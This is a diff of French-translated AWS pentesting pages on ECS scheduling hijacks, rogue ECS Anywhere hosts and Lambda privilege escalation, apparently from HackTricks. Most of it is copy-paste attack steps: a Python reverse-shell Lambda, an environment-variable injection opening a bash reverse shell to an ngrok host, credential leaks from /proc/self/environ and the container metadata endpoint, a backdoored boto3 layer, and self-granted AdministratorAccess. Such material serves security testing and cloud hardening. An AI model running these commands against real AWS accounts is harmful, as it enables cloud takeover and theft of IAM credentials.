@@ -333,49 +332,49 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Un attaquant disposant des permissions pour gérer les capacity providers ECS et mettre à jour des services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des instances EC2 contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les conteneurs et dérober les task role credentials.
|
||||
Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour des services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des EC2 instances contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.
|
||||
|
||||
Commandes (us-east-1) :
|
||||
Commandes (us-east-1):
|
||||
|
||||
- Pré-requis
|
||||
- Prérequis
|
||||
|
||||
|
||||
|
||||
- Créer un Launch Template pour que l'agent ECS rejoigne le cluster cible
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
|
||||
|
||||
|
||||
- Créer un Auto Scaling Group
|
||||
- Create Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Créer un Capacity Provider à partir de l'ASG
|
||||
- Create Capacity Provider from the ASG
|
||||
|
||||
|
||||
|
||||
- Associer le Capacity Provider au cluster (optionnellement comme défaut)
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
|
||||
|
||||
|
||||
- Migrer un service vers votre provider
|
||||
- Migrate a service to your provider
|
||||
|
||||
|
||||
|
||||
- Vérifier que les tasks sont lancées sur des instances contrôlées par l'attaquant
|
||||
- Verify tasks land on attacker instances
|
||||
|
||||
|
||||
|
||||
- Optionnel : depuis le nœud EC2, faire docker exec dans les conteneurs ciblés et lire http://169.254.170.2 pour obtenir les task role credentials.
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
|
||||
- Nettoyage
|
||||
- Cleanup
|
||||
|
||||
|
||||
|
||||
**Impact potentiel :** Les nœuds EC2 contrôlés par l'attaquant reçoivent les tâches des victimes, permettant un accès au niveau OS aux conteneurs et le vol des task IAM role credentials.
|
||||
**Impact potentiel:** Les EC2 nodes contrôlés par l'attaquant reçoivent des tasks victimes, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Commandes étape par étape (copier/coller)</summary>
|
||||
<summary>Step-by-step commands (copy/paste)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
@@ -410,23 +409,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
Abuser ECS Anywhere pour enregistrer un hôte contrôlé par l'attaquant en tant qu'instance de conteneur EXTERNAL dans un cluster ECS victime et exécuter des tasks sur cet hôte en utilisant des task et execution roles privilégiés. Cela donne un contrôle au niveau OS sur l'endroit où les tasks s'exécutent (votre propre machine) et permet le vol de credentials/données depuis les tasks et les volumes attachés sans manipuler les capacity providers ou les ASG.
|
||||
Abuse ECS Anywhere pour enregistrer un hôte contrôlé par l'attaquant en tant que EXTERNAL container instance dans un cluster ECS victime et exécuter des tasks sur cet hôte en utilisant des rôles de task et d'exécution privilégiés. Cela donne un contrôle au niveau OS sur l'endroit où les tasks s'exécutent (votre propre machine) et permet le vol de task-role credentials et de données depuis les tasks et les volumes attachés sans toucher aux capacity providers ou ASGs.
|
||||
|
||||
- Permissions requises (exemple minimal) :
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (pour l'instance role ECS Anywhere et les task/execution roles)
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (pour l'ECS Anywhere instance role et les task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (si utilisation de awslogs)
|
||||
|
||||
- Impact : Exécuter des containers arbitraires avec un taskRoleArn choisi sur l'hôte de l'attaquant ; exfiltrer les task-role credentials depuis 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ; accéder à tout volume monté par les tasks ; plus discret que de manipuler des capacity providers/ASG.
|
||||
- Impact : Exécuter des containers arbitraires avec le taskRoleArn choisi sur l'hôte de l'attaquant ; exfiltrer les task-role credentials depuis 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ; accéder à n'importe quels volumes montés par les tasks ; plus discret que de manipuler les capacity providers/ASGs.
|
||||
|
||||
Étapes
|
||||
Steps
|
||||
|
||||
1) Créer/identifier le cluster (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
2) Créer un rôle ECS Anywhere et une activation SSM (pour instance on-prem/EXTERNAL)
|
||||
2) Créer le rôle ECS Anywhere et l'activation SSM (pour on-prem/EXTERNAL instance)
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
@@ -435,7 +434,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) Provisionner l'hôte attaquant et l'enregistrer automatiquement comme EXTERNAL (exemple : petit AL2 EC2 en tant que “on‑prem”)
|
||||
3) Provisionner l'hôte attaquant et l'enregistrer automatiquement en tant qu'EXTERNAL (exemple : petit AL2 EC2 comme “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -456,14 +455,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) Vérifier qu'une instance de conteneur EXTERNE a rejoint
|
||||
4) Vérifier que l'instance de conteneur EXTERNAL a rejoint
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) Créez des task/execution roles, enregistrez une task definition EXTERNAL, et exécutez-la sur l'hôte de l'attaquant
|
||||
5) Créer des task/execution roles, enregistrer une task definition EXTERNAL, et l'exécuter sur la machine attaquante
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -499,22 +498,22 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) À partir d'ici vous contrôlez l'hôte qui exécute les tasks. Vous pouvez lire les logs des tasks (si awslogs) ou exécuter directement sur l'hôte pour exfiltrer des credentials/données depuis vos tasks.
|
||||
6) À partir d'ici vous contrôlez l'hôte qui exécute les tâches. Vous pouvez lire les logs des tâches (si awslogs) ou exécuter directement sur l'hôte pour exfiltrer les credentials/données de vos tâches.
|
||||
|
||||
|
||||
|
||||
#### Exemple de commande (placeholders)
|
||||
#### Exemple de commande (espaces réservés)
|
||||
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des instances EC2 contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les credentials du task role.
|
||||
Un attaquant disposant des autorisations pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible et migrer un service victime pour utiliser ce provider. Les tâches seront alors planifiées sur des instances EC2 contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- Pré-requis
|
||||
- Prérequis
|
||||
|
||||
|
||||
|
||||
@@ -522,11 +521,11 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Créer un Auto Scaling Group
|
||||
- Créer Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Créer un Capacity Provider à partir de l'ASG
|
||||
- Créer Capacity Provider à partir de l'ASG
|
||||
|
||||
|
||||
|
||||
@@ -538,14 +537,15 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Vérifier que les tasks atterrissent sur les instances contrôlées par l'attaquant
|
||||
- Vérifier que les tâches sont déployées sur les instances contrôlées par l'attaquant
|
||||
|
||||
|
||||
|
||||
- Optionnel : depuis le nœud EC2, docker exec dans les conteneurs ciblés et lire http://169.254.170.2 pour obtenir les credentials du task role.
|
||||
- Optionnel : depuis le nœud EC2, docker exec dans les containers ciblés et lire http://169.254.170.2 pour obtenir les task role credentials.
|
||||
|
||||
- Nettoyage
|
||||
|
||||
|
||||
|
||||
**Impact potentiel :** Les nœuds EC2 contrôlés par l'attaquant reçoivent les tasks de la victime, ce qui permet un accès au niveau OS aux containers et le vol des credentials IAM du task role.
|
||||
**Impact potentiel :** Des nœuds EC2 contrôlés par l'attaquant reçoivent les tâches victimes, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
Plus d'infos sur lambda dans :
|
||||
Plus d'informations sur lambda dans:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,11 +12,11 @@ Plus d'infos sur lambda dans :
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\
|
||||
Ils peuvent **créer une nouvelle fonction Lambda et lui assigner un rôle IAM existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et téléverser du code dans cette fonction Lambda (par exemple une rev shell)**.\
|
||||
Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la fonction Lambda via l'AWS API. Cette approche permet effectivement à l'utilisateur d'exécuter des tâches indirectement via la fonction Lambda, en opérant avec le niveau d'accès accordé au rôle IAM qui lui est associé.\\
|
||||
Les utilisateurs disposant des permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:InvokeFunction`** peuvent escalader leurs privilèges.\
|
||||
Ils peuvent **créer une nouvelle fonction Lambda et lui assigner un rôle IAM existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et téléverser du code dans cette fonction Lambda (par exemple un rev shell)**.\
|
||||
Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la fonction Lambda via l'API AWS. Cette approche permet donc à l'utilisateur d'effectuer des actions de manière indirecte via la fonction Lambda, en opérant avec le niveau d'accès accordé au rôle IAM qui y est associé.\\
|
||||
|
||||
Un attaquant pourrait abuser de cela pour obtenir une **rev shell et voler le token**:
|
||||
Un attaquant pourrait abuser de ceci pour obtenir un **rev shell et voler le token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
Vous pouvez aussi **abuser des permissions du rôle lambda** depuis la fonction lambda elle-même.\
|
||||
Si le rôle lambda dispose de permissions suffisantes, vous pourriez l'utiliser pour vous accorder des droits d'admin :
|
||||
Vous pourriez également **abuser des permissions du rôle lambda** depuis la fonction lambda elle-même.\
|
||||
Si le rôle lambda disposait de permissions suffisantes, vous pourriez l'utiliser pour vous accorder des droits d'administrateur :
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
Il est également possible de leak les identifiants du rôle du lambda sans avoir besoin d'une connexion externe. Cela peut être utile pour les **Network isolated Lambdas** utilisées pour des tâches internes. Si des security groups inconnus filtrent vos reverse shells, ce morceau de code vous permettra de leak directement les identifiants en sortie de la lambda.
|
||||
Il est aussi possible de leak les credentials du rôle de la lambda sans avoir besoin d'une connexion externe. Ceci est utile pour les **Network isolated Lambdas** utilisées pour des tâches internes. S'il existe des security groups inconnus filtrant vos reverse shells, ce code vous permettra de leak directement les credentials en sortie de la lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**Impact potentiel :** Escalade directe (privesc) vers le rôle de service lambda arbitraire spécifié.
|
||||
**Impact potentiel :** privesc direct vers le rôle de service lambda arbitraire spécifié.
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que même si cela peut sembler intéressant **`lambda:InvokeAsync`** **ne permet pas** à lui seul d'**exécuter `aws lambda invoke-async`**, vous avez également besoin de `lambda:InvokeFunction`
|
||||
> Notez que même si cela peut sembler intéressant **`lambda:InvokeAsync`** **ne permet pas** à lui seul d'**exécuter `aws lambda invoke-async`**, vous avez aussi besoin de `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
Comme dans le scénario précédent, vous pouvez **vous accorder la permission `lambda:InvokeFunction`** si vous disposez de la permission **`lambda:AddPermission`**
|
||||
Comme dans le scénario précédent, vous pouvez **vous accorder la permission `lambda:InvokeFunction`** si vous avez la permission **`lambda:AddPermission`**
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**Impact potentiel :** Escalade de privilèges directe (privesc) vers le rôle de service lambda arbitraire spécifié.
|
||||
**Impact potentiel :** Privesc direct vers le rôle de service lambda arbitraire spécifié.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Les utilisateurs disposant des permissions **`iam:PassRole`, `lambda:CreateFunction` et `lambda:CreateEventSourceMapping`** (et potentiellement `dynamodb:PutItem` et `dynamodb:CreateTable`) peuvent indirectement **escalate privileges** même sans `lambda:InvokeFunction`.\
|
||||
Ils peuvent créer une **fonction Lambda avec du code malveillant et lui assigner un rôle IAM existant**.
|
||||
Les utilisateurs disposant des permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:CreateEventSourceMapping`** (et potentiellement `dynamodb:PutItem` et `dynamodb:CreateTable`) peuvent indirectement **escalate privileges** même sans `lambda:InvokeFunction`.\
|
||||
Ils peuvent créer une fonction Lambda contenant du code malveillant et lui assigner un rôle IAM existant.
|
||||
|
||||
Au lieu d'invoquer directement la Lambda, l'utilisateur met en place ou utilise une table DynamoDB existante, en la reliant à la Lambda via un event source mapping. Cette configuration garantit que la fonction Lambda est **déclenchée automatiquement lors de l'ajout d'un nouvel élément** dans la table, soit par l'action de l'utilisateur soit par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé.
|
||||
Au lieu d'invoquer la fonction Lambda directement, l'utilisateur configure ou utilise une table DynamoDB existante, la reliant à la Lambda via un event source mapping. Cette configuration garantit que la fonction Lambda est **déclenchée automatiquement lors de l'ajout d'un nouvel élément** dans la table, que ce soit par l'action de l'utilisateur ou par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur n'a besoin que d'**établir l'event source mapping** pour la fonction Lambda. En revanche, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
|
||||
Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur **doit uniquement établir l'event source mapping** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Il est maintenant possible de **connect the Lambda function to the DynamoDB table** en **creating an event source mapping**:
|
||||
Il est maintenant possible de **connecter la fonction Lambda à la table DynamoDB** en **créant un event source mapping** :
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Avec la fonction Lambda liée au DynamoDB stream, l'attaquant peut **déclencher indirectement la fonction Lambda en activant le DynamoDB stream**. Cela peut être accompli en **insérant un item** dans la table DynamoDB :
|
||||
Avec la Lambda function liée au DynamoDB stream, the attacker peut **indirectly trigger the Lambda by activating the DynamoDB stream**. Cela peut être accompli en **inserting an item** dans la DynamoDB table:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers le rôle de service lambda spécifié.
|
||||
**Impact potentiel :** Privesc direct vers le lambda service role spécifié.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
Un attacker disposant de cette permission peut **grant himself (or others) any permissions** (cela génère des resource based policies pour accorder l'accès à la resource):
|
||||
Un attacker disposant de cette permission peut **se donner (ou donner à d'autres) n'importe quelles autorisations** (cela génère resource based policies pour accorder l'accès à la resource) :
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**Impact potentiel :** Élévation de privilèges directe (privesc) vers le rôle de service lambda en accordant l'autorisation de modifier le code et de l'exécuter.
|
||||
**Impact potentiel :** Privesc direct vers le rôle de service lambda utilisé en accordant l'autorisation de modifier le code et de l'exécuter.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
Un attaquant disposant de cette autorisation peut **s'octroyer (ou accorder à d'autres) l'autorisation `lambda:GetLayerVersion`**. Il pourrait accéder au layer et rechercher des vulnérabilités ou des informations sensibles.
|
||||
Un attaquant disposant de cette autorisation peut **s'accorder (ou accorder à d'autres) l'autorisation `lambda:GetLayerVersion`**. Il pourrait accéder à la layer et rechercher des vulnérabilités ou des informations sensibles
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**Impact potentiel :** Accès potentiel à des informations sensibles.
|
||||
**Potential Impact:** Accès potentiel à des informations sensibles.
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Les utilisateurs disposant de la permission **`lambda:UpdateFunctionCode`** peuvent **modifier le code d'une Lambda function existante liée à un rôle IAM.**\
|
||||
L'attaquant peut **modifier le code de la lambda pour exfiltrer les credentials IAM**.
|
||||
Les utilisateurs disposant de la permission **`lambda:UpdateFunctionCode`** ont la possibilité de **modifier le code d'une existing Lambda function qui est liée à un IAM role.**\
|
||||
L'attaquant peut **modifier le code de la lambda pour exfiltrer les IAM credentials**.
|
||||
|
||||
Même si l'attaquant n'a pas forcément la capacité directe d'invoquer la fonction, si la Lambda function est préexistante et opérationnelle, il est probable qu'elle soit déclenchée par des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié.
|
||||
Bien que l'attaquant puisse ne pas avoir la capacité directe d'invoquer la fonction, si la Lambda function est préexistante et opérationnelle, il est probable qu'elle soit déclenchée via des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers le rôle de service lambda utilisé.
|
||||
**Impact potentiel :** Privesc direct vers le lambda service role utilisé.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE via env variables
|
||||
#### RCE via variables d'environnement
|
||||
|
||||
Avec ces permissions, il est possible d'ajouter des environment variables qui provoqueront l'exécution de code arbitraire par la Lambda. Par exemple, en python il est possible d'abuser des environment variables `PYTHONWARNING` et `BROWSER` pour faire en sorte qu'un processus python exécute des commandes arbitraires :
|
||||
Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python, il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour amener un processus python à exécuter des commandes arbitraires :
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Pour d'autres langages de scripting, il existe d'autres variables d'environnement que vous pouvez utiliser. Pour plus d'informations, consultez les sous-sections des langages de scripting dans:
|
||||
Pour d'autres langages de script, il existe d'autres variables d'environnement (env variables) que vous pouvez utiliser. Pour plus d'informations, consultez les sous-sections des langages de script dans :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
|
||||
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure du **code** dans votre lamdba function mais **le stocker séparément**, de sorte que le code de la fonction peut rester petit et que **plusieurs fonctions peuvent partager du code**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure du **code** dans votre fonction lamdba tout en **le stockant séparément**, de sorte que le code de la fonction puisse rester petit et que **plusieurs fonctions puissent partager ce code**.
|
||||
|
||||
À l'intérieur de lambda vous pouvez vérifier les chemins depuis lesquels le python code est chargé avec une fonction comme la suivante:
|
||||
À l'intérieur de lambda, vous pouvez vérifier les chemins depuis lesquels le code python est chargé avec une fonction comme la suivante:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -185,7 +185,7 @@ import sys
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
Voici les emplacements :
|
||||
These are the places:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -198,82 +198,77 @@ Voici les emplacements :
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
Par exemple, la bibliothèque boto3 est chargée depuis `/var/runtime/boto3` (4e position).
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
|
||||
#### Exploitation
|
||||
|
||||
Il est possible d'abuser de la permission `lambda:UpdateFunctionConfiguration` pour **ajouter un nouveau layer** à une fonction lambda. Pour exécuter du code arbitraire, ce layer doit contenir une **bibliothèque que la lambda va importer.** Si vous pouvez lire le code de la lambda, vous pourrez le trouver facilement ; notez aussi qu'il est possible que la lambda **utilise déjà un layer** et que vous puissiez **télécharger** le layer et **ajouter votre code** dedans.
|
||||
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
|
||||
|
||||
Par exemple, supposons que la lambda utilise la bibliothèque boto3, cela créera un layer local avec la dernière version de la bibliothèque :
|
||||
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **add the backdoor in the global code** (une fonction pour exfiltrate credentials ou obtenir un reverse shell, par exemple).
|
||||
Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **ajouter la backdoor dans le code global** (une fonction pour exfiltrate credentials ou obtenir un reverse shell, par exemple).
|
||||
|
||||
Ensuite, zippez le répertoire `./lambda_layer` et **upload the new lambda layer** dans votre propre compte (ou dans celui de la victime, mais vous pourriez ne pas avoir les permissions pour cela).\
|
||||
Notez que vous devez créer un dossier python et y placer les bibliothèques pour override /opt/python/boto3. De plus, le lambda layer doit être **compatible with the python version** utilisée par la lambda et, si vous l'uploadez dans votre compte, il doit se trouver dans la **same region:**
|
||||
Ensuite, zippez le répertoire `./lambda_layer` et **uploadez le nouveau lambda layer** dans votre propre compte (ou dans celui de la victime, mais il se peut que vous n'ayez pas les permissions pour cela).\
|
||||
Notez que vous devez créer un dossier python et y placer les bibliothèques pour override /opt/python/boto3. De plus, le layer doit être **compatible avec la version de python** utilisée par la lambda et si vous l'uploadez dans votre compte, il doit être dans la **même région:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
Maintenant, rendez la lambda layer téléversée **accessible par n'importe quel compte** :
|
||||
Maintenant, rendez la lambda layer téléversée **accessible par n'importe quel compte**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
Et attachez le lambda layer à la victim lambda function:
|
||||
Et attachez le lambda layer à la victim lambda function :
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
La prochaine étape serait soit de **invoquer la fonction** nous‑mêmes si nous le pouvons, soit d'attendre qu'i**l soit invoqué** par des moyens normaux — ce qui est la méthode la plus sûre.
|
||||
L'étape suivante serait soit d'**invoquer la fonction** nous-mêmes si nous le pouvons, soit d'attendre qu'**elle soit invoquée** par des moyens normaux — ce qui est la méthode la plus sûre.
|
||||
|
||||
Une **méthode plus discrète pour exploiter cette vulnérabilité** se trouve dans :
|
||||
Une **façon plus discrète d'exploiter cette vulnérabilité** se trouve dans :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Direct privesc to the lambda service role used.
|
||||
**Impact potentiel :** Privesc direct sur le rôle de service lambda utilisé.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Peut‑être qu'avec ces permissions vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je pourrais trouver un moyen de le tester, alors dites‑moi si vous le faites !
|
||||
